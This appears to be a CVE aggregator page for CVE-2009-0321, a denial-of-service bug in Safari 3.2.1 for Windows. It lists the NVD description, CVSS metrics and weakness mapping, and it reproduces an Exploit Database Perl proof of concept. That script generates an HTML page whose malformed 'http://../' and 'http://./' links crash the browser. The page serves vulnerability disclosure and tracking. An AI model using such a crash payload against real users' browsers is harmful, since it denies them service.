CVE-2009-0321 : Detail

CVE-2009-0321

A01-Broken Access Control
2.72%V4
Network
2009-01-28
17h00 +00:00
2017-09-28
10h57 +00:00
CVE.org
NVD
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CVE Descriptions

Apple Safari 3.2.1 (aka AppVer 3.525.27.1) on Windows allows remote attackers to cause a denial of service (infinite loop or access violation) via a link to an http URI in which the authority (aka hostname) portion is either a (1) . (dot) or (2) .. (dot dot) sequence.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-59 Improper Link Resolution Before File Access ('Link Following')
The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.3 AV:N/AC:M/Au:N/C:N/I:N/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 32761

Publication date : 2009-01-26 23h00 +00:00
Author : Lostmon
EDB Verified : Yes

source: https://www.securityfocus.com/bid/33481/info Apple Safari is prone to a denial-of-service vulnerability because it fails to adequately sanitize user-supplied input. Attackers can exploit this issue to crash the affected application, denying service to legitimate users. Apple Safari 3.2.1 for Windows is vulnerable; other versions may also be affected. # !/usr/bin/perl # Safari_httpDoSPoc.pl # Safari for Windows 3.2.1 Remote http: uri handler DoS # Lostmon [Lostmon@gmail.com ] #[http://lostmon.blogspot.com] $archivo = $ARGV[0]; if(!defined($archivo)) { print "Uso: $0 <archivo.html>\n"; } $cabecera = "<html><Title> Safari 3.2.1 for windows Browser Die PoC By Lostmon</title> <body>" . "\n"; $codigo = "<h3>Safari 3.2.1 for windows Browser Die PoC By Lostmon <br>(lostmon@gmail.com) http://lostmon.blogspot.com</h3> <P>This PoC is a malformed http URI, this causes that safari for windows<br> turn inestable and unresponsive.<br> Click THIS link.=></p><a href=\"http://../\">Safari Die()</a> or this other =><a href=\"http://./\">Safari Die()</a> "; $piepag = "</body></html>"; $datos = $cabecera . $codigo . $piepag; open(FILE, '>' . $archivo); print FILE $datos; close(FILE); exit;

Products Mentioned

Configuraton 0

Apple>>Safari >> Version 3.2.1

Microsoft>>Windows >> Version *

References

http://www.securityfocus.com/bid/33481
Tags : vdb-entry, x_refsource_BID
The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.